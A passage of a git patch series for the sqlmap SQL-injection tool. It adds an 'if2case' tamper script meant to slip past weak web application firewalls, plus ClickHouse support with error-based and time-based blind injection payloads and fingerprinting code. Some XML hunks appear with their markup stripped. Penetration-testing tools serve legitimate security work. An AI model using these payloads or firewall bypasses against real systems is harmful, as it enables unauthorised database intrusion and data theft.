index 33a0cae0e7e..44252f38aba 100755
--- a/sqlmap.py
+++ b/sqlmap.py
@@ -64,7 +64,6 @@
     from lib.core.common import setPaths
     from lib.core.common import weAreFrozen
     from lib.core.convert import getUnicode
-    from lib.core.common import MKSTEMP_PREFIX
     from lib.core.common import setColor
     from lib.core.common import unhandledExceptionMessage
     from lib.core.compat import LooseVersion
@@ -73,6 +72,7 @@
     from lib.core.data import conf
     from lib.core.data import kb
     from lib.core.datatype import OrderedSet
+    from lib.core.enums import MKSTEMP_PREFIX
     from lib.core.exception import SqlmapBaseException
     from lib.core.exception import SqlmapShellQuitException
     from lib.core.exception import SqlmapSilentQuitException

From 45852431754c95be3c6fc03b8de990bb13deaef6 Mon Sep 17 00:00:00 2001
From: Miroslav Stampar 
Date: Wed, 1 Feb 2023 13:53:19 +0100
Subject: [PATCH 111/599] Implements tamper script if2case (#5301)

---
 lib/core/settings.py |  2 +-
 tamper/if2case.py    | 67 ++++++++++++++++++++++++++++++++++++++++++++
 2 files changed, 68 insertions(+), 1 deletion(-)
 create mode 100644 tamper/if2case.py

diff --git a/lib/core/settings.py b/lib/core/settings.py
index 93a8da31ede..54160a19557 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -20,7 +20,7 @@
 from thirdparty.six import unichr as _unichr
 
 # sqlmap version (...)
-VERSION = "1.7.1.12"
+VERSION = "1.7.2.0"
 TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
 TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
 VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
diff --git a/tamper/if2case.py b/tamper/if2case.py
new file mode 100644
index 00000000000..9e82459fa8b
--- /dev/null
+++ b/tamper/if2case.py
@@ -0,0 +1,67 @@
+#!/usr/bin/env python
+
+"""
+Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
+See the file 'doc/COPYING' for copying permission
+"""
+
+from lib.core.compat import xrange
+from lib.core.enums import PRIORITY
+
+__priority__ = PRIORITY.HIGHEST
+
+def dependencies():
+    pass
+
+def tamper(payload, **kwargs):
+    """
+    Replaces instances like 'IF(A, B, C)' with 'CASE WHEN (A) THEN (B) ELSE (C) END' counterpart
+
+    Requirement:
+        * MySQL
+        * SQLite (possibly)
+        * SAP MaxDB (possibly)
+
+    Tested against:
+        * MySQL 5.0 and 5.5
+
+    Notes:
+        * Useful to bypass very weak and bespoke web application firewalls
+          that filter the IF() functions
+
+    >>> tamper('IF(1, 2, 3)')
+    'CASE WHEN (1) THEN (2) ELSE (3) END'
+    >>> tamper('SELECT IF((1=1), (SELECT "foo"), NULL)')
+    'SELECT CASE WHEN (1=1) THEN (SELECT "foo") ELSE (NULL) END'
+    """
+
+    if payload and payload.find("IF") > -1:
+        while payload.find("IF(") > -1:
+            index = payload.find("IF(")
+            depth = 1
+            commas, end = [], None
+
+            for i in xrange(index + len("IF("), len(payload)):
+                if depth == 1 and payload[i] == ',':
+                    commas.append(i)
+
+                elif depth == 1 and payload[i] == ')':
+                    end = i
+                    break
+
+                elif payload[i] == '(':
+                    depth += 1
+
+                elif payload[i] == ')':
+                    depth -= 1
+
+            if len(commas) == 2 and end:
+                a = payload[index + len("IF("):commas[0]].strip("()")
+                b = payload[commas[0] + 1:commas[1]].lstrip().strip("()")
+                c = payload[commas[1] + 1:end].lstrip().strip("()")
+                newVal = "CASE WHEN (%s) THEN (%s) ELSE (%s) END" % (a, b, c)
+                payload = payload[:index] + newVal + payload[end + 1:]
+            else:
+                break
+
+    return payload

From c58383e6849cb839eb6ce329a347a441feef682e Mon Sep 17 00:00:00 2001
From: Paul Werther 
Date: Fri, 3 Feb 2023 22:54:35 +0100
Subject: [PATCH 112/599] add performance_schema to mysql prediction file
 (#5305)

---
 data/txt/common-outputs.txt | 1 +
 1 file changed, 1 insertion(+)

diff --git a/data/txt/common-outputs.txt b/data/txt/common-outputs.txt
index 60bdf5edb26..56084d9147e 100644
--- a/data/txt/common-outputs.txt
+++ b/data/txt/common-outputs.txt
@@ -399,6 +399,7 @@ XDBWEBSERVICES
 
 # MySQL
 information_schema
+performance_schema
 mysql
 phpmyadmin
 

From 8962e152ac2038f970c100c3d4ace5a9b695a614 Mon Sep 17 00:00:00 2001
From: Alexis Danizan <51817778+0x4144@users.noreply.github.com>
Date: Fri, 3 Feb 2023 23:10:12 +0100
Subject: [PATCH 113/599] Add Clickhouse support (#5229)

Co-authored-by: pentest <>
---
 data/xml/errors.xml                    |  4 ++
 data/xml/payloads/error_based.xml      | 20 ++++++
 data/xml/payloads/inline_query.xml     | 20 ++++++
 data/xml/payloads/time_blind.xml       | 20 ++++++
 data/xml/queries.xml                   | 69 +++++++++++++++++++
 lib/controller/handler.py              |  4 ++
 lib/core/dicts.py                      |  3 +
 lib/core/enums.py                      |  2 +
 lib/core/settings.py                   |  6 +-
 lib/utils/deps.py                      |  2 +
 plugins/dbms/clickhouse/__init__.py    | 23 +++++++
 plugins/dbms/clickhouse/connector.py   | 14 ++++
 plugins/dbms/clickhouse/enumeration.py | 12 ++++
 plugins/dbms/clickhouse/filesystem.py  | 11 ++++
 plugins/dbms/clickhouse/fingerprint.py | 91 ++++++++++++++++++++++++++
 plugins/dbms/clickhouse/syntax.py      | 18 +++++
 plugins/dbms/clickhouse/takeover.py    | 11 ++++
 plugins/generic/databases.py           | 12 ++--
 plugins/generic/entries.py             |  2 +-
 19 files changed, 335 insertions(+), 9 deletions(-)
 create mode 100755 plugins/dbms/clickhouse/__init__.py
 create mode 100755 plugins/dbms/clickhouse/connector.py
 create mode 100755 plugins/dbms/clickhouse/enumeration.py
 create mode 100755 plugins/dbms/clickhouse/filesystem.py
 create mode 100755 plugins/dbms/clickhouse/fingerprint.py
 create mode 100755 plugins/dbms/clickhouse/syntax.py
 create mode 100755 plugins/dbms/clickhouse/takeover.py

diff --git a/data/xml/errors.xml b/data/xml/errors.xml
index 59ae1e8e22a..b78dd91c649 100644
--- a/data/xml/errors.xml
+++ b/data/xml/errors.xml
@@ -211,6 +211,10 @@
         
     
 
+    
+        
+    
+
     
         
     
diff --git a/data/xml/payloads/error_based.xml b/data/xml/payloads/error_based.xml
index f9505522f38..6cc089d09d6 100644
--- a/data/xml/payloads/error_based.xml
+++ b/data/xml/payloads/error_based.xml
@@ -853,6 +853,26 @@
         
     
 
+
+    
+        Clickhouse AND error-based - Parameter replace
+        2
+        2
+        1
+        1,2,3,9
+        1
+        AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST(([QUERY]), 'String')||'[DELIMITER_STOP]' AS String)
+        
+            AND [RANDNUM]=CAST('[DELIMITER_START]'||CAST((SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)), 'String')||'[DELIMITER_STOP]' AS String)
+        
+        
+            [DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]
+        
+        
+ Clickhouse +
+
+
diff --git a/data/xml/payloads/time_blind.xml b/data/xml/payloads/time_blind.xml index dfd9a2d2604..f181a758e4c 100644 --- a/data/xml/payloads/time_blind.xml +++ b/data/xml/payloads/time_blind.xml @@ -1494,6 +1494,26 @@ + + + Clickhouse AND time-based blind (heavy query) - fuzzBits + 5 + 3 + 1 + 1,2,3 + 1 + OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(if(([INFERENCE]), 1000000, 1))) + + OR [RANDNUM]=(SELECT COUNT(fuzzBits('[RANDSTR]', 0.001)) FROM numbers(1000000)) + + + + +
+ Clickhouse +
+
+ diff --git a/data/xml/queries.xml b/data/xml/queries.xml index deda4364d9c..82570ce7e4c 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1319,6 +1319,75 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 227a2ceb73f..0e3c1999f92 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -14,6 +14,7 @@ from lib.core.settings import ACCESS_ALIASES from lib.core.settings import ALTIBASE_ALIASES from lib.core.settings import CACHE_ALIASES +from lib.core.settings import CLICKHOUSE_ALIASES from lib.core.settings import CRATEDB_ALIASES from lib.core.settings import CUBRID_ALIASES from lib.core.settings import DB2_ALIASES @@ -46,6 +47,8 @@ from plugins.dbms.altibase import AltibaseMap from plugins.dbms.cache.connector import Connector as CacheConn from plugins.dbms.cache import CacheMap +from plugins.dbms.clickhouse.connector import Connector as ClickhouseConn +from plugins.dbms.clickhouse import ClickhouseMap from plugins.dbms.cratedb.connector import Connector as CrateDBConn from plugins.dbms.cratedb import CrateDBMap from plugins.dbms.cubrid.connector import Connector as CubridConn @@ -122,6 +125,7 @@ def setHandler(): (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn), (DBMS.ALTIBASE, ALTIBASE_ALIASES, AltibaseMap, AltibaseConn), (DBMS.MIMERSQL, MIMERSQL_ALIASES, MimerSQLMap, MimerSQLConn), + (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES, ClickhouseMap, ClickhouseConn), (DBMS.CRATEDB, CRATEDB_ALIASES, CrateDBMap, CrateDBConn), (DBMS.CUBRID, CUBRID_ALIASES, CubridMap, CubridConn), (DBMS.CACHE, CACHE_ALIASES, CacheMap, CacheConn), diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 157adc2aded..ee455729afc 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -38,6 +38,7 @@ from lib.core.settings import SYBASE_ALIASES from lib.core.settings import VERTICA_ALIASES from lib.core.settings import VIRTUOSO_ALIASES +from lib.core.settings import CLICKHOUSE_ALIASES FIREBIRD_TYPES = { 261: "BLOB", @@ -241,6 +242,7 @@ DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), DBMS.ALTIBASE: (ALTIBASE_ALIASES, None, None, None), DBMS.MIMERSQL: (MIMERSQL_ALIASES, "mimerpy", "https://github.com/mimersql/MimerPy", None), + DBMS.CLICKHOUSE: (CLICKHOUSE_ALIASES, "clickhouse_connect", "https://github.com/ClickHouse/clickhouse-connect", None), DBMS.CRATEDB: (CRATEDB_ALIASES, "python-psycopg2", "https://github.com/psycopg/psycopg2", "postgresql"), DBMS.CUBRID: (CUBRID_ALIASES, "CUBRID-Python", "https://github.com/CUBRID/cubrid-python", None), DBMS.CACHE: (CACHE_ALIASES, "python jaydebeapi & python-jpype", "https://pypi.python.org/pypi/JayDeBeApi/ & https://github.com/jpype-project/jpype", None), @@ -286,6 +288,7 @@ DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))", DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL))", DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)", + DBMS.CLICKHOUSE: "coalesce(NULL)", } SQL_STATEMENTS = { diff --git a/lib/core/enums.py b/lib/core/enums.py index 188bd9fc3c9..4fba2821879 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -52,6 +52,7 @@ class DBMS(object): PRESTO = "Presto" ALTIBASE = "Altibase" MIMERSQL = "MimerSQL" + CLICKHOUSE = "Clickhouse" CRATEDB = "CrateDB" CUBRID = "Cubrid" CACHE = "InterSystems Cache" @@ -81,6 +82,7 @@ class DBMS_DIRECTORY_NAME(object): PRESTO = "presto" ALTIBASE = "altibase" MIMERSQL = "mimersql" + CLICKHOUSE = "clickhouse" CRATEDB = "cratedb" CUBRID = "cubrid" CACHE = "cache" diff --git a/lib/core/settings.py b/lib/core/settings.py index 54160a19557..05f1bad9d14 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -283,6 +283,7 @@ ALTIBASE_SYSTEM_DBS = ("SYSTEM_",) MIMERSQL_SYSTEM_DBS = ("information_schema", "SYSTEM",) CRATEDB_SYSTEM_DBS = ("information_schema", "pg_catalog", "sys") +CLICKHOUSE_SYSTEM_DBS = ("information_schema", "system") CUBRID_SYSTEM_DBS = ("DBA",) CACHE_SYSTEM_DBS = ("%Dictionary", "INFORMATION_SCHEMA", "%SYS") EXTREMEDB_SYSTEM_DBS = ("",) @@ -313,6 +314,7 @@ MIMERSQL_ALIASES = ("mimersql", "mimer") CRATEDB_ALIASES = ("cratedb", "crate") CUBRID_ALIASES = ("cubrid",) +CLICKHOUSE_ALIASES = ("clickhouse",) CACHE_ALIASES = ("intersystems cache", "cachedb", "cache", "iris") EXTREMEDB_ALIASES = ("extremedb", "extreme") FRONTBASE_ALIASES = ("frontbase",) @@ -321,10 +323,10 @@ DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES) +SUPPORTED_DBMS = set(MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES + ALTIBASE_ALIASES + MIMERSQL_ALIASES + CLICKHOUSE_ALIASES + CRATEDB_ALIASES + CUBRID_ALIASES + CACHE_ALIASES + EXTREMEDB_ALIASES + RAIMA_ALIASES + VIRTUOSO_ALIASES) SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES), (DBMS.ALTIBASE, ALTIBASE_ALIASES), (DBMS.MIMERSQL, MIMERSQL_ALIASES), (DBMS.CLICKHOUSE, CLICKHOUSE_ALIASES), (DBMS.CRATEDB, CRATEDB_ALIASES), (DBMS.CUBRID, CUBRID_ALIASES), (DBMS.CACHE, CACHE_ALIASES), (DBMS.EXTREMEDB, EXTREMEDB_ALIASES), (DBMS.FRONTBASE, FRONTBASE_ALIASES), (DBMS.RAIMA, RAIMA_ALIASES), (DBMS.VIRTUOSO, VIRTUOSO_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 1d73022877d..c13e66a28cb 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -58,6 +58,8 @@ def checkDependencies(): __import__("mimerpy") elif dbmsName == DBMS.CUBRID: __import__("CUBRIDdb") + elif dbmsName == DBMS.CLICKHOUSE: + __import__("clickhouse_connect") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " diff --git a/plugins/dbms/clickhouse/__init__.py b/plugins/dbms/clickhouse/__init__.py new file mode 100755 index 00000000000..2036e49eb0a --- /dev/null +++ b/plugins/dbms/clickhouse/__init__.py @@ -0,0 +1,23 @@ +from lib.core.enums import DBMS +from lib.core.settings import CLICKHOUSE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.clickhouse.enumeration import Enumeration +from plugins.dbms.clickhouse.filesystem import Filesystem +from plugins.dbms.clickhouse.fingerprint import Fingerprint +from plugins.dbms.clickhouse.syntax import Syntax +from plugins.dbms.clickhouse.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class ClickhouseMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines clickhouse methods + """ + + def __init__(self): + self.excludeDbsList = CLICKHOUSE_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CLICKHOUSE] = Syntax.escape \ No newline at end of file diff --git a/plugins/dbms/clickhouse/connector.py b/plugins/dbms/clickhouse/connector.py new file mode 100755 index 00000000000..e9a9bda215c --- /dev/null +++ b/plugins/dbms/clickhouse/connector.py @@ -0,0 +1,14 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import getSafeExString +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + pass \ No newline at end of file diff --git a/plugins/dbms/clickhouse/enumeration.py b/plugins/dbms/clickhouse/enumeration.py new file mode 100755 index 00000000000..d2bf574111c --- /dev/null +++ b/plugins/dbms/clickhouse/enumeration.py @@ -0,0 +1,12 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + pass \ No newline at end of file diff --git a/plugins/dbms/clickhouse/filesystem.py b/plugins/dbms/clickhouse/filesystem.py new file mode 100755 index 00000000000..af9b2e07f2e --- /dev/null +++ b/plugins/dbms/clickhouse/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass \ No newline at end of file diff --git a/plugins/dbms/clickhouse/fingerprint.py b/plugins/dbms/clickhouse/fingerprint.py new file mode 100755 index 00000000000..89c926ab9ea --- /dev/null +++ b/plugins/dbms/clickhouse/fingerprint.py @@ -0,0 +1,91 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CLICKHOUSE_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CLICKHOUSE) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CLICKHOUSE + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CLICKHOUSE_ALIASES): + setDbms(DBMS.CLICKHOUSE) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CLICKHOUSE + logger.info(infoMsg) + + result = inject.checkBooleanExpression("halfMD5('abcd')='16356072519128051347'") + + if result: + infoMsg = "confirming %s" % DBMS.CLICKHOUSE + logger.info(infoMsg) + result = inject.checkBooleanExpression("generateUUIDv4(1)!=generateUUIDv4(2)") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE + logger.warn(warnMsg) + + return False + + setDbms(DBMS.CLICKHOUSE) + self.getBanner() + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CLICKHOUSE + logger.warn(warnMsg) + + return False \ No newline at end of file diff --git a/plugins/dbms/clickhouse/syntax.py b/plugins/dbms/clickhouse/syntax.py new file mode 100755 index 00000000000..86f120e7f80 --- /dev/null +++ b/plugins/dbms/clickhouse/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression \ No newline at end of file diff --git a/plugins/dbms/clickhouse/takeover.py b/plugins/dbms/clickhouse/takeover.py new file mode 100755 index 00000000000..f9539ee668a --- /dev/null +++ b/plugins/dbms/clickhouse/takeover.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + pass \ No newline at end of file diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index b69c9f67ee6..b924e9980e7 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -83,7 +83,7 @@ def getCurrentDb(self): if not kb.data.currentDb and Backend.isDbms(DBMS.VERTICA): kb.data.currentDb = VERTICA_DEFAULT_SCHEMA - if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): + if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.CLICKHOUSE): warnMsg = "on %s you'll need to use " % Backend.getIdentifiedDbms() warnMsg += "schema names for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -108,7 +108,7 @@ def getDbs(self): warnMsg += "names will be fetched from 'mysql' database" logger.warning(warnMsg) - elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE): + elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.PGSQL, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.PRESTO, DBMS.MIMERSQL, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.CLICKHOUSE): warnMsg = "schema names are going to be used on %s " % Backend.getIdentifiedDbms() warnMsg += "for enumeration as the counterpart to database " warnMsg += "names on other DBMSes" @@ -621,7 +621,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.inband.query % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -757,7 +757,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod condQueryStr = "%%s%s" % colCondParam condQuery = " AND (%s)" % " OR ".join(condQueryStr % (condition, unsafeSQLIdentificatorNaming(col)) for col in sorted(colList)) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CUBRID, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery @@ -838,7 +838,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod query = rootQuery.blind.query % (unsafeSQLIdentificatorNaming(tbl.upper()), unsafeSQLIdentificatorNaming(conf.db.upper())) query = query.replace(" ORDER BY ", "%s ORDER BY " % condQuery) field = None - elif Backend.isDbms(DBMS.MONETDB): + elif Backend.getIdentifiedDbms() in (DBMS.MONETDB, DBMS.CLICKHOUSE): query = safeStringFormat(rootQuery.blind.query, (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db), index)) field = None elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE): @@ -880,7 +880,7 @@ def getColumns(self, onlyColNames=False, colTuple=None, bruteForce=None, dumpMod singleTimeWarnMessage(warnMsg) if not onlyColNames: - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO, DBMS.CRATEDB, DBMS.CACHE, DBMS.FRONTBASE, DBMS.VIRTUOSO, DBMS.CLICKHOUSE): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl), column, unsafeSQLIdentificatorNaming(conf.db)) elif Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2, DBMS.DERBY, DBMS.ALTIBASE, DBMS.MIMERSQL): query = rootQuery.blind.query2 % (unsafeSQLIdentificatorNaming(tbl.upper()), column, unsafeSQLIdentificatorNaming(conf.db.upper())) diff --git a/plugins/generic/entries.py b/plugins/generic/entries.py index a8e0bce7a16..609eb44321f 100644 --- a/plugins/generic/entries.py +++ 